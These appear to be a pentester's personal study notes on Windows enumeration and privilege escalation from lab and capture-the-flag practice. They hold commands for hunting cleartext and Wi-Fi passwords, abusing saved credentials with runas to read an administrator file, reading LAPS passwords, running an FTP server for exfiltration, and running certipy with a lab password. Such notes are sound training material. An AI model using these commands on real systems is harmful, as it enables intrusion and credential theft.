Windows Enumeration and Privesc

Fuzzy Security Guide - https://www.fuzzysecurity.com/tutorials/16.html

PayloadsAllTheThings Guide - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

Absolomb Windows Privilege Escalation Guide - https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Sushant 747's Guide (Country dependant - may need VPN) - https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html

PNPT Repo - https://github.com/TCM-Course-Resources/Windows-Privilege-Escalation-Resources


INFO GATHER SCAN & ENUMERATION - <
EXPLOIT

System enumeration - metasploit

getuid - what user am i? sysinfo - generic sys info

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

C:\Users\steph>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name:                   Microsoft Windows 10 Home
OS Version:                10.0.19045 N/A Build 19045
System Type:               x64-based PC

hostname - self-explanatory wmic qfe - Windows Management Instrumentation [c = commandline] , qfe = Quickfix engineering wmic qfe get Caption,Description,HotfixID,InstalledOn - Look at knowledge base for recent patches and fixes. wmic logicaldisk - list drives wmic logicaldisk get caption,description,providername - lessen information


User enumeration

in Meterpreter - type shell

meterpreter > shell
[..]
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web
c:\windows\system32\inetsrv>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
[...]

c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>whoami /groups
whoami /groups                                                                         
GROUP INFORMATION                                                                                       
-----------------                                                                                       

Group Name                           Type             SID          Attributes                                                
==================================== ================ ============ ==================================================        
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                           
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group        
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, [...]

net user net localgroup net localgroup administrators

whoami /all -> user,group,priv information


3 - Network Enum

ipconfig - basically ip a ipconfig /all arp -a - Notable because you can discover other machines on the network if they are listed here in arp

c:\windows\system32\inetsrv>arp -a
arp -a

Interface: 10.10.10.5 --- 0xf
  Internet Address      Physical Address      Type
  10.10.10.2            00-50-56-b9-c7-83     dynamic   
  10.10.11.255          ff-ff-ff-ff-ff-ff     static    
  224.0.0.22            01-00-5e-00-00-16     static    
  224.0.0.252           01-00-5e-00-00-fc     static    

.5 -> machine we're on, but if we found others they would be here.

route print - routing table netstat -ano - what ports are we listening on and communicating on? hint - this is a sign you may be able to portforward to pivot from within the internal network


PASSWORD HUNTING

passwords can be stored anywhere locally. lots of reasons where people will store passwords in cleartext.

findstr /si password *.txt *.ini *.config

https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html#:~:text=Description%2CHotFixID%2CInstalledOn-,Cleartext%20Passwords,-Search%20for%20them

-- cleartext pw section of github privesc

`C:\Users\steph>netsh wlan show profile ATTBhPtUVt key=clear

dir -recurse *.php | select-string -pattern "database"

search php files matching 'database'

where.exe sqlcmd

basically 'find sqlcmd'


AV enum

sc query windefend "service query"

dump all running services: sc queryex type= service ** note the space

firewalls? netsh advfirewall firewall dump netsh firewall show state second is for older


AUTOMATED ENUM TOOLS

Executables winpeas.exe - requires .Net4 seatbelt.exe (compile) Watson.exe (compile) SharpUp.exe (compile)

Powershell Sherlock.ps1 PowerUp.ps1 jaws-enum.ps1

Other windows-exploit-suggester.py (local) Exploit Suggester (metasploit)

WinPEAS - https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

Windows PrivEsc Checklist - https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation

Sherlock - https://github.com/rasta-mouse/Sherlock

Watson - https://github.com/rasta-mouse/Watson

PowerUp - https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

JAWS - https://github.com/411Hall/JAWS

Windows Exploit Suggester - https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Metasploit Local Exploit Suggester - https://blog.rapid7.com/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more/

Seatbelt - https://github.com/GhostPack/Seatbelt

SharpUp - https://github.com/GhostPack/SharpUp


Kernel Exploits

Windows Kernel Exploits - https://github.com/SecWiki/windows-kernel-exploits


Stored credentials

cmdkey /list oh wow - stored creds! runas.exe

C:\Users\security>C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"

quick ftp

┌──(root㉿kali)-[~/boxes/tryhack]
└─# python -m pyftpdlib -p 22 --write
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: 
[I 2024-05-14 01:29:07] concurrency model: async
[I 2024-05-14 01:29:07] masquerade (NAT) address: None
[I 2024-05-14 01:29:07] passive ports: None
[I 2024-05-14 01:29:07] >>> starting FTP server on 0.0.0.0:2121, pid=63644 <<

registry escalation

1. Open powershell prompt and type: Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
2. Notice that the output suggests that user belong to “NT AUTHORITY\INTERACTIVE” has “FullContol” permission over the registry key.

abusing startup applications

 icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

tl;dr dll hijacking dynamic linked library - kind of like an executable or .so file in linux 'shared library' - functions, variables, classic, libraries etc. executables use dlls

when dll hijacking - looking for specific instance when windows env starts a service or application it looks for a dll if it's looking for a DLL but can't find it - we can get malicious

look at procmon and filter for NAME NOT FOUND ![](/img/Pasted image 20240514225813.png)


Service Permissions and Paths

BINPATH exploitation ![](/img/Pasted image 20240515005138.png)

accesschk64.exe -uwcv Everyone * u = suppress error w = 'objects with write access' c = display service name v = verbose

everyone = what can everyone do? RW daclsvc -> everyone has read/write to daclsvc

![](/img/Pasted image 20240515005408.png)

![](/img/Pasted image 20240515005453.png)

query the service: ![](/img/Pasted image 20240515005527.png) ![](/img/Pasted image 20240515005658.png) ![](/img/Pasted image 20240515005714.png) ![](/img/Pasted image 20240515005744.png)


Unquoted Service Paths

Service executable - whose path is not enclosed in quotation marks, and also contains a space - big issue! below is output of Powerup.ps1 -> Invoke-AllChecks ![](/img/Pasted image 20240515010022.png)

i.e. windows interprets executable execution as: C:\.exe? nope -> C:\Program.exe? nope -> C:\Program Files\Unquoted.exe? nope etc etc

steps 1&2 -> setup listener and gen payload ![](/img/Pasted image 20240515010626.png) ![](/img/Pasted image 20240515010750.png)

some reason tun0 didnt autofill my kali ip dont worry tho host that shit baby ![](/img/Pasted image 20240515010853.png) ![](/img/Pasted image 20240515010934.png)

now run your service ![](/img/Pasted image 20240515011037.png) ![](/img/Pasted image 20240515011057.png)


Evil-WinRM

Get-ADUser cmdlet -> used to list properties for current user.

*Evil-WinRM* PS C:\Users\s.smith\Desktop> Get-ADUser -identity s.smith -properties * 


AccountExpirationDate              :
accountExpires                     : 9223372036854775807
AccountLockoutTime                 :
AccountNotDelegated                : False
AllowReversiblePasswordEncryption  : False
BadLogonCount                      : 0
badPasswordTime                    : 132247275952778272
badPwdCount                        : 0
CannotChangePassword               : True
CanonicalName                      : cascade.local/UK/Users/Steve Smith
Certificates                       : {}
[...]

checking service ACLs when you cannot use Get-Service

https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/

always check powershell history

*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls

read LAPS password

$h = hostname; Get-ADComputer $h -Property 'ms-mcs-admpwd'

process check

Get-Service
tasklist
wmic.exe service get name
sc.exe query state= all
net.exe start

otherwise, registry keys: 
Get-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\ADSync

enumerate properties of an executable

Get-ItemProperty -Path "C:\Program Files\Microsoft Azure AD Sync\Bin\miiserver.exe" | Format-list -Property * -Force

always check ADCS Active Directory Certificate services

certipy find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout

https://posts.specterops.io/certified-pre-owned-d95910965cd2 ![](/img/Pasted image 20240710000739.png) [[certipy and certified pre-owned]]